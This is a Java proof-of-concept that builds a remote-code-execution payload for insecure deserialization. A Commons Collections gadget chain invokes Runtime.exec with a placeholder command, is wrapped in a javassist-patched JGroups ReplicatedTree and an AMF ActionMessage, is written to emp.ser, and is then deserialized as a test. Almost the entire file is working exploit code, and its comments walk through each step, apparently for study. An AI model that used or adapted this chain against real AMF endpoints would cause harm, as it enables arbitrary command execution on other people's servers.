import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;

import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.jgroups.blocks.ReplicatedTree;


import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.Class;
import java.nio.file.Files;
import java.util.*;

public class Test1 {
    public static void main(String[] args) throws Exception{
        // Add a new field called state which is a byte array to org.jgroups.blocks.ReplicatedTree
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get("org.jgroups.blocks.ReplicatedTree");
        CtClass ctClass1 = pool.get("byte[]");
        CtField ctField = new CtField(ctClass1, "state", ctClass);
        ctClass.addField(ctField);

        // Remove the default getState method and replace it with our own getState method that
        // just returns the state field that we added in above.
        ctClass.removeMethod(ctClass.getDeclaredMethod("getState"));
        CtMethod ctMethod = CtNewMethod.make("public byte[] getState(){ return this.state; }", ctClass);
        ctClass.addMethod(ctMethod);

        // Remember that the ByteArrayOutputStream is cast into an ObjectOutputStream, aka the
        // ObjectOutputStream relies on an underlying ByteArrayOutputStream, as can be seen in
        // the code below. Here we also create an object that will call calc.exe and write that
        // resulting object into the object output stream, before then closing the stream.
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(getObject2("PAYLOAD"));
        objectOutputStream.close();

        // Convert the byte array containing the object stream into
        // a byte array and save that into secondObj
        byte[] secondObj = byteArrayOutputStream.toByteArray();

        // First we create a ReplicatedTree object here, which is part of our desire
        // to get org.jgroups.block.ReplicatedTree.setState() to be called. Note that we use
        // ctClass, aka the adjusted class that had the "state" field added and the "getState" method
        // adjusted, to do this. Then set the "state" field to be accessible and set its value
        // to that of secondObj, or the object stream created by getObject2().
        Constructor constctor = ctClass.toClass().getConstructor();
        ReplicatedTree replicatedTree = (ReplicatedTree) constctor.newInstance();
        Field f1 = replicatedTree.getClass().getDeclaredField("state");
        f1.setAccessible(true);
        f1.set(replicatedTree, secondObj);

        // Now that the real object returned by getObject2() has been wrapped in a ReplicatedTree object,
        // serialize this object and wrap it further into an AMF object, then return its byte stream and
        // save this into the byte array "ser".
        byte[] ser = serialize(replicatedTree);

        // Finally write the output via a FileOutputStream to the file "emp.ser" on disk.
        FileOutputStream fileOutputStream = new FileOutputStream("emp.ser");
        fileOutputStream.write(ser);
        fileOutputStream.close();

        // Now that we have written all of the bytes to disk, lets find the path of the emp.ser file on disk, pass that
        // into File.readAllBytes, and then pass the resulting byte array and save into into sercontent, then deserialize that
        // content to check the deserialization works properly.
        byte[] serContent = Files.readAllBytes((new File("emp.ser")).toPath());
        deserialize(serContent);
    }

    public static byte[] serialize(Object data) throws IOException {
        // Create the MessageBody element that will contain the data to be recreated using readObject().
        // Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
        // if you need more info on this.
        MessageBody body = new MessageBody();
        body.setData(data);

        // Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
        // end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
        // this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
        // here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
        ActionMessage message = new ActionMessage();
        message.addBody(body);

        // Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
        // Then call out.toByteArray() to get the byte array version of the resulting serialized object.
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);

        return out.toByteArray();
    }

    public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        // Since we take in a byte array, lets first create a ByteArrayInputStream, which is the
        // opposite of the ByteArrayOutputStream that was created earlier when serializing the object,
        // and pass it "amf", aka the byte array stream we want to process.
        ByteArrayInputStream in = new ByteArrayInputStream(amf);

        // Create a new AmfMessageDeserializer object to deserialize the AMF message that was serialized using AmfMessageSerializer.
        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null); // Same initialization function call, don't wnat to change this.
        deserializer.readMessage(new ActionMessage(), new ActionContext()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
    }


    public static Serializable getObject2(final String command) throws Exception {

        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        keyField.setAccessible(true);
        keyField.set(node, entry);

        return map;

    }
}